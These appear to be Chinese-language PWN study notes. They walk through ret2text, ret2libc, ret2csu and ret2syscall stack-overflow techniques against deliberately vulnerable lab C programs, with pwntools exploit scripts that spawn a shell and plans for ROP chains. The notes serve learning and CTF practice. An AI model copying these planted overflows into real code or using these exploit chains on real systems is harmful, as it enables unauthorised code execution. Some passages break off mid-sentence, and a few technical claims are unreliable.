• 前面的示例程序中,在main函数都会存在shellcode。
  • 接下来看在main函数中不存在shellcode的情况,而main函数以外的,自定义的函数却存在shellcode

前置知识

  • CPU可以读内存也可以读取寄存器,主要还是读取寄存器

  • 有一种计算机体系结构,没有内存,CPU直接去读硬盘。但是硬盘的读取速度太慢,而CPU处理的速度很快。这就会影响效率。

image-20240323141742965

  • 此后就出现了内存,而目前我们要考虑的是CPU读取内存

image-20240323142018592

  • 在计算机发展的过程中,内存与CPU直接又出现了缓存、保护模式、虚拟内存

内存虚拟地址空间

image-20240323143119852

偏移

函数传参

ret系列思路

  • rip地址控制的是CPU要执行的指令,调用完函数是需要ret指令将地址返回到main函数里面去的。
  • 此时我们通过栈溢出,修改压入栈中的返回地址,将返回地址修改成我们的后门函数。那么rip就会执向后门函数的执行程序。
  • 这样就可以使得,在main函数中没有调用的后门函数得以执行,获取控制权,拿到flag

ret2text

例题1

  • ret指定函数,不带形参

  • 示例程序(x86,而不是x64)

  • gcc编译指令gcc question_4_1.c -m32 -fno-stack-protector -o question_4_1_x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";

int func(char *cmd){
system(sh);
return 0;
}

int dofunc(){
char b[8] = {};
puts("input:");
read(0,b,0x100);
//printf(b);
return 0;
}

int main(){
dofunc();
return 0;
}

查看程序

  • 查看保护

image-20240323162746290

  • 查看文件类型
    • ELF:32-bit 32位的文件

image-20240323162504230

运行程序

  • 发现有一个输入点,没有输出点

image-20240323162257407

拖入IDA

  • 第一步查看到文件是32位的文件,应该拖入32位的ida文件去反汇编

image-20240323162948858

  • F5反编译,再查看函数,最后发现在main函数中没有执行后门函数

image-20240323163015171

image-20240323163034157

  • SHIFT+F12,发现字符串里面有一个bin/sh

image-20240323163131240

  • 找到调用/bin/sh的函数

image-20240323164152998

使用gdb动调

  • 开始运行程序

image-20240323164351572

  • si步入进dofunc()函数

image-20240323164636153

  • 在调试中发现,输入点的输入的数据,存储在main函数地址的上方,这个时候就可以进行操作了

image-20240323164955072

image-20240323165140577

  • 在ida中可以看出,main函数的起始地址在整个程序段中的相对地址,和func在整个程序段中的相对地址,然后再看gdb动调的实际地址,得到起始地址(这里gdb也有一个指令 p &func,可以看到func函数的地址)

image-20240323165413095

image-20240323165756455

  • 这时再计算func()函数的绝对地址

image-20240323170045073

  • gdb动调看看要输入多少个字符才能到返回地址所在的栈,这里也可以静态调试,用ida查看栈(这里ida更方便)

image-20240323170843441

  • 发现存储main函数的地址的栈,经过计算要填充0x14个a才能栈溢出到该栈。

image-20240323170932378

image-20240323170229603

  • 尝试栈溢出,发现正常输入可能解决不了,直接用set修改执行地址看看

image-20240323171816693

  • 通过修改栈中的值就可以使得ret指令返回的不是main函数,而是func函数

image-20240323172810201

exp

1
2
3
4
5
from pwn import *
io = process('./question_4_1_x86')
payload = b'a'*0x14 + p32(0x565561c0)
io.sendline(payload)
io.interactive()

作业1

  • 例题1的进阶版

  • 编译指令 gcc question_4_1.c -m32 -fno-stack-protector -no-pie -fomit-frame-pointer -o question_4_1_x86_sep

  • 指令意思:

    • -m32以32位模式编译,
    • -fno-stack-protector不要为局部变量启用堆栈保护,
    • -no-pie不要生成位置无关可执行文件,会禁用PIE的生成,从而生成传统的固定地址可执行文件,
    • -formit-frame-pointer用于控制是否在生成的代码中包含帧指针,启用该指令就不是ebp寻址了,而是esp寻址
  • 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";

int func(char *cmd){
system(sh);
return 0;
}

int dofunc(){
char b[8] = {};
puts("input:");
read(0,b,0x100);
//printf(b);
return 0;
}

int main(){
dofunc();
return 0;
}

对比

  • 为了更直观的能感受到作业1和例题1的区别,故使用gdb动调对这俩个程序进行对比
  • 用三个不同点
  1. 寻址方式不同,question_4_1_x86中都是用ebp进行寻址的

question_4_1_x86

image-20240327192842682

question_4_1_x86_sep

image-20240327193115891

  1. 返回main函数的地址存储所在的栈不同

question_4_1_x86

image-20240327193418946

而在question_4_1_x86_sep中main函数的返回地址就会在ebp的所指向栈的上面,而不是在ebp所指向栈的下面一个栈。

image-20240327193629380

  1. 静态调试的栈

question_4_1_x86

image-20240327194524754

question_4_1_x86_sep没有s,直接到r

image-20240327194004253

exp

1
2
3
4
5
from pwn import *
io = process('./question_4_1_x86_sep')
payload = b'a'*0x14 + p32(0x08049196)
io.sendline(payload)
io.interactive()

作业2

  • 将b数组的长度由原来的8,该为23
  • 由于一个栈存储16位数据,那么23是个质数,就会出现该数组存入栈中,但是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";

int func(char *cmd){
system(sh);
return 0;
}

int dofunc(){
char b[23] = {};
puts("input:");
read(0,b,0x100);
//printf(b);
return 0;
}

int main(){
dofunc();
return 0;
}

例题2

  • ret指定函数,带形参,x86,32位

  • gcc编译

  • 程序源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";

int func(char *cmd){
system(cmd);
return 0;
}

int dofunc(){
char b[8] = {};
puts("input:");
read(0,b,0x100);
//printf(b);
return 0;
}

int main(){
dofunc();
return 0;
}
/*
ebp -> 0xdeadbeef
eip(r) -> func_addr
-> 0xdeadbeef
-> argc1
-> argc2
-> argc3
*/

重点分析

  • 在正常调用函数的时候都会有call
  • 而call的指令有
    • push
    • jmp
  • 而在非法调用函数的时候,是没有call指令的。直接用ret指令跳到非法调用的函数中。但是缺少了把rip寄存器压入栈中。这就会导致这种情况的出现

image-20240323210941448

原本ebp下面一行应该是返回地址,但是却变成了参数的地址

所以在放我们想要返回非法函数的地址时,需要先将执行完func之后的返回地址压入栈中

作业3

  • 将例题2源码中,read函数的读取字符数缩小
  • x86,32位编译
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";

int func(char *cmd){
system(cmd);
return 0;
}

int dofunc(){
char b[8] = {};
puts("input:");
read(0,b,0x18);
//printf(b);
return 0;
}

int main(){
dofunc();
return 0;
}

例题3

  • ret指定函数,代参数,64位传参模式

测试64位函数调用

  • 64位函数调用模式测试代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int argc1=10;

int add_test(int a,int b ,int c){
return a+b+c;
}


int main(){
int argc2=20;
int argc3=30;
add_test(argc1,argc2,argc3);
return 0;
}
  • 发现传参不再使用pop
  • 还有在传递全局变量的时候是用段寄存器读取值

image-20240324105735970

  • 再对程序进行修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int argc1=10;

int add_test(int a,int b ,int c,int d,int e,int f, int g,int h){
return a+b+c+b+c+d+e+f+g+h;
}


int main(){
int argc2=20;
int argc3=30;
int argc4=40;
int argc5=40;
int argc6=40;
int argc7=40;
int argc8=40;
add_test(argc1,argc2,argc3,argc4,argc5,argc6,argc7,argc8);
return 0;
  • 使用ida反汇编会发现

  • 当参数太多,寄存器不够用的时候。才会把一些参数通过压栈的方式进行传参。

  • 而压栈是通过edi,rdi寄存器进行的

1
2
3
4
mov     edi, [rbp+var_4]
push rdi
mov edi, [rbp+var_8]
push rdi

image-20240324110311663

ret2libc

  • 查看libc的网站:Glibc source code (glibc-2.39.9000) - Bootlin

  • ret2text中,通过栈溢出修改返回地址,可以调用到system函数,而调用函数的地址通常是可以通过IDA静态编译得到

  • 而ret2libc中,编写的程序没有关于调用system的函数。使用IDA静态反汇编得不到system函数的地址。这时通常需要返回到libc库中的system的地址得到shellcode。

  • 三个问题:

    • 程序中没有system函数就一定没有system函数吗?
    • 怎么计算libc的基地址
    • 怎么泄露libc里面存在的某个函数的地址

前置知识

  • 在了解ret2libc的原理之前,先要有一些前置知识。

链接

  • 在gcc入门里面有介绍

PWN入门 | iyheart的博客

地址

  • 绝对地址

  • 相对地址

  • 偏移量

绝对地址

  • 在以内存起点为0,程序在内存中的地址就是绝对地址,下图中所示的就是绝对地址

image-20240330102204045

基地址:程序头在内存中的地址

相对地址

  • 相对地址就是一个指令或一个函数等在程序段中的地址,通常把程序开头的地址看作是0x000000,相对该程序开头的距离多少

image-20240330102740218

偏移量

  • 在栈溢出偏移量就是,要输入多少个字符,才能溢出到返回地址。
  • 而在程序中的偏移量,可以简单的理解为某一段在程序中的相对地址

计算libc库中某个函数的绝对地址

  • 在已知,libc库中puts函数的绝对地址、相对地址,还有system函数的相对地址,怎么计算出system函数的绝对地址

image-20240330104426860

plt表和got表

  • PLT(Procedure Linkage Table)程序链接表

  • GOT (Global Offset Table)全局偏移表

  • 关于俩个表的使用及其调用过程

在调用函数的过程中,如果没有开启保护,那么就会进行如下操作

image-20240330122059662

例题1

  • 示例程序
  • gcc编译指令gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int dofunc(){
char b[8] = {};
write(1,"input:",6);//2,3,4 fd=open('./a');puts
read(0,b,0x100);
write(1,"byebye",6);
return 0;
}

int main(){
dofunc();
return 0;
}

分析

  • 先查看一下该可执行文件的保护情况

image-20240330093000009

动调

  • 进行动态调试,步入到dofunc函数里面中的 call read@plt指令中
  • 会发现read函数将用户输入存储在栈中的位置,输入8个字节就到rbp所指向的位置,再输入8个字节就可以覆盖返回地址了
  • 在原先的ret2text中,接下来要做的就是覆盖返回地址到后门函数中,但是现在程序中没有后门函数
  • 这里的动调会用上新的指令 watch *0x404018设置内存断点

image-20240330093334665

  • 由于源码中没有设置后门函数,我们就需要想办法找到 /bin/sh system函数的地址,接下来就开始寻找。使用gdb指令 search '/bin/sh' p &system
  • 寻找后会发现,在libc.so.6中存在 /bin/sh

image-20240330094535942

分析write函数

  • 设置断点到call write指令,运行到该位置后, si进入到write函数的内部,发现是在一个名为write@plt函数中
  • 下图可知,接下来write函数会跳转到0x401030
  • 而跳转后,接下去会继续跳转,跳转到0x401020
  • 之后又会跳转到0x7ffff7fd8d30处,一个名为 <_dl_runtime_resolve_xsavec>的函数

image-20240330095057134

  • ni下去,会发现程序会跳转到真正的write函数的内部

image-20240330095823476

  • si步入进去,会发现,write函数里面会有调用syscall
  • 之后就会输出input:这个字串了

image-20240330100041636

  • 使用vmmap指令查看write函数的地址
  • 会发现write函数是在

0x7ffff7db3000 0x7ffff7f48000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6这个位置里面

image-20240330100240102

image-20240330100401612

  • 这涉及到内存的一些知识
  • 一般来说write read printf puts 等函数都会放在红色区域,而现在的重点就放在libc.so.6这个库中,前面查看system函数的地址也是放在这里的

image-20240330100816896

  • 对system进行反汇编,可以看到system函数的汇编代码,但是system函数里面不存在/bin/sh参数

image-20240330101233303

总的来说:libc函数里面存在着一些函数比如 read printf puts write甚至是重要的 system还有 /bin/sh字符串

分析程序进入write函数的过程

  • 先步入到dofunc中要调用write函数的指令中,不入进去
  • 在这个位置可以先查看一下got表,会发现got表还没有写write函数的地址,而里面的值存储的却是plt表的地址

image-20240330105157652

image-20240330110656699

image-20240330111322730

  • 从该地址开始,反汇编,然后会发现进入plt表,而plt表在函数又会跳转到got表中

image-20240330105216921

  • 这里使用 watch *404018指令观察got表的值是否被修改,会发现程序结束了在plt表和got表之间反复横跳之后,got里面的值会被改变

image-20240330111817788

image-20240330111847796

  • 说明在下图指令中的上一个指令got的值就被改变了

image-20240330111941598

  • 但是当调用完第一次write,输出 input:后,再调用第二次write输出bye bye的时候就不会出现第一次调用时那么一大堆的程序

image-20240330110201397

漏洞思路

  • 通过栈溢出和布置ROP链泄露got表中,write的地址,将write的值给输出到显示屏上,然后计算system和 /bin/sh的地址,从而获取权限

例题2

  • 32位的程序,函数调用的规则不同,不用构造rop链,32位的libc库自己去寻找

  • gcc编译指令 gcc question_5.c -m32 -fno-stack-protector -no-pie -o question_5_x86

  • 程序源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int dofunc(){
char b[8] = {};
write(1,"input:",6);//2,3,4 fd=open('./a');puts
read(0,b,0x100);
write(1,"byebye",6);
return 0;
}

int main(){
dofunc();
return 0;
}

例题3

  • 当题目没有给libc.so文件应该怎么办

[BJDCTF 2020]babyrop | NSSCTF

ret2csu

介绍

  • 在使用ida的时候注意到,有函数的名称叫做 libc_csu_init libc_csu_fini

  • 这个函数是gcc在编译的过程中生成的,只要是正常的程序编译完都会有该函数,不同版本的gcc生成的指令有所差别

image-20240330195636414

  • libc_csu_init函数中结尾有个典型的特点,连续pop,并且有调用函数,还能控制3个寄存器(这3个寄存器都涉及到函数的参数传递),这是一段非常好的构造ROP链的代码

  • 红色框下方的汇编代码,只要不执行跳转,那么就可以走下去,利用pop传参,这就需要ROP链既要控制rbp,也要控制rbx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
add rbx,1
cmp rbp,rbx
jnz short loc_a011D8
# 要使得跳转不发生就要有
rbp = rbx + 1

rbx需要等于0,这样r15才是函数的地址 也可以使用加法去拼凑函数地址

要控制r15

rdi 是由 r12 来控制
rsi 是由 r13 来控制
rdx 是由 r14 来控制

# 所以只要控制
rbp rbx r12 r13 r14 r15
# 这六个参数就可以进行一些操作
# 而这几个寄存器在下方连续pop处都有用到
# 完成一次就相当于完成了一次call func,而且该func的前三个参数我们是可以控制的
  • 由此可以得到思路先ret到连续pop处,在ret到红框处,继续pop参数,

image-20240330200027207

例题1

  • 64位的程序,gcc编译

  • 程序源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int dofunc(){
char b[8] = {};
write(1,"input:",6);
read(0,b,0x100);
write(1,"bye",3);
return 0;
}

int main(){
dofunc();
return 0;
}

ret2syscall

  • syscall就是中断
  • 64位是syscall,32位的是in0x80

介绍

  • 当程序是静态编译的情况,并没有libc库的情况

  • 静态编译指令

    • gcc question_5.c -fno-stack-protector -no-pie -static -o question_5_x64
    • gcc question_5.c -fno-stack-protector -no-pie -static -o question_5_x64
  • 静态编译不再解释,在该篇博客gcc入门有介绍静态编译PWN入门 | iyheart的博客

  • 静态编译的程序,调用时就不会跳来跳去,而是直接跳转的被调用程序的地址处

  • 这种情况下就程序就没有system函数了

system函数的实现过程

  • 可以去看看源码:Linux source code (v6.8.2) - Bootlin

  • 既然没有system函数,那么就要另找出路了,这时就需要知道system函数具体是怎么实现的

  • 在实行system函数的时候会跳转到俩个地方,一个是loc_522A0另一个是sub_51CD0,而在sub_51CD0的下方一点,有会看到字串**/bin/sh**

image-20240331155405550

image-20240331155319795

image-20240331155742669

system反编译代码

  • 下图为system函数的反编译代码,会更直观

image-20240331155848699

image-20240331160251265

image-20240331160318413

image-20240331160343240

  • 最后会发现跳转到sys_execve函数就不会跳转了,查看这行代码的反汇编,会发现syscall
  • 所以system函数核心是执行execve函数,而execve函数的核心又为syscall

image-20240331160356224

image-20240331160621214

execve函数

int execve(const char * filename,char * const argv[ ],char * const envp[ ]);

  • execve函数有三个参数
    • 第一个参数:需要执行文件的文件名
    • 第二个参数:执行文件的参数
    • 第三个参数:执行文件的环境
    • 通常来说只输入可执行文件名,那么其他俩个参数都默认为0
  • 这时当没有system函数时,就栈溢出返回到该函数,并且设置第一个参数为**/bin/sh**,第二个参数为0,第三个参数也为0,这样就可以得到shell
  • 查看system函数源码

image-20240331161729441

漏洞思路

  • 在静态编译中寻找execve函数或者寻找syscall函数
  • 查找发现例题1没有execve函数和字串,也没有syscall函数,但是有syscall的字串而且该字串在text段,而且syscall字串还不只一个,这就需要去花时间寻找正确的syscall
  • 模仿execve调用syscall,最终执行/bin/sh

image-20240331162011876

image-20240331162202819

  • 这时可以使用ROPgadget去寻找syscall,注意:寻找的syscall有时后面需要跟一个ret,要不然ROP链布置不了

image-20240331162523267

image-20240331162652981

布栈思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
重点:当调用syscall的时候
rax标志着syscall所要使用的中断号
如果要执行execve这个程序,那么这个中断号就要为0x3b
那么就要让rax = 0x3b
其参数rdi = '/bin/sh' rsi = 0 rdx = 0
一般程序里面都会有/bin/sh字串
没有的话也可以找/sh作为参数(注意必须要以sh结尾的字串)

布置栈的思路
pop_rax_ret
pop_rdi_ret
pop_rsi_ret
pop_rdx_ret
syscall_addr
或者
pop_rax_rdi_rsi_rdx_ret_addr

image-20240331163835208

例题1

  • 静态编译是不需要泄露地址的,直接ROP打就行

  • 64位静态编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


int dofunc(){
char b[8] = {};
write(1,"input:",6);
read(0,b,0x100);//gets(b);
puts(b);
return 0;
}

int main(){
dofunc();
return 0;
}
  • 先使用 ROPgadget --binary question_5_x64_static --only 'syscall'查看syscall所在的地址

  • 再使用 ROPgadget --binary question_5_x64_static --only 'pop|ret'查看ROP链,需要的是rax rdi rsi rdx

例题2

  • 32位,静态编译,源码同例题1。
  • 主要也是传递参数的区别,系统调用号也是看eax的,32位的execve系统调用号是11也就是0xB,而参数传递的是用栈,但是参数最终会传递给寄存器。寄存器接受参数就是第一个参数 ebx ,第二个参数ecx,第三个参数 edx,系统中断也不是syscall,而是int0x80,十六进制指令为cd 80
  • 有的时候32位也需要构造ROP链

image-20240331172500425

image-20240331173346868

ret2shellcode

题目没有libc库

  • 有些题目不会给libc库,这时就要借助在线的libc库或者离线的工具对libc库进行还原

libc-database

  • 网址:libc-database
  • 先构造ROP链,多泄露几个地址,就可以在该网站上检索出来libc库的版本
  • 然后可以确定system的偏移量、/bin/sh的偏移量等

libc-database下载到本地

image-20240517193338225
  • 下载解压后将该文件放入Linux里面,然后进入该文件libc-database-master

image-20240517193448619

  • 然后输入命令,就会将大量的libc文件下载到libc-database-master目录的db文件夹里面
  • 注意这个下载需要一两个小时,会比较慢,但是下载完总的文件大小没到1G,不是很大
1
./get ubuntu

image-20240517193803433

  • 下载好后进入db文件夹

image-20240517193858296

  • 支持的命令
1
2
3
4
5
6
find 用于根据符号和偏移查找libc版本,打印libc ID。
dump 用于转储查到的libc库中的一些常用符号和偏移,也可以通过指定符号转储偏移。
add 用于手动添加一些libc库到db。
identify 用于判断某个libc是否已经存在于db,支持hash查找。
download 用于下载与libc ID相对应的整个libc到libs目录。
get 下载libc到db,用于初始化于更新libc database。
  • 这里先泄露一个puts函数的libc地址,作为例子

image-20240517195047711

数据溢出

通常为整数溢出和浮点数溢出

或者格式化字符串漏洞

  • 数据存储格式
  • 数据取值范围
  • 数据基本运算

没有/bin/sh怎么办

  • /bin/sh的机器码

image-20240517192433223

自己写/bin/sh

  • 利用Python脚本和栈溢出,写出/bin/sh再输入到栈里面,这样就有/bin/sh,调用system函数的时候就有参数了
  • 调用的system函数后面一定要有ret,要不然调用不了第二次,就没办法获取权限

写/bin/sh的地方

  • 向可写段写入/bin/sh,注意有align(对齐)是一定可以写的

怎么去写入/bin/sh

  • 利用syscall的参数0去写入/bin/sh

image-20240331171128738

程序找/sh

  • 利用程序现成的字串,去找以sh结尾的字符串,必须是sh结尾,这样读到空字符就不会再往下读取了

程序中找$0

  • $0对应的机器码是24 30
  • 在24 30之后必须跟空字符,即 24 30 00

权限保护问题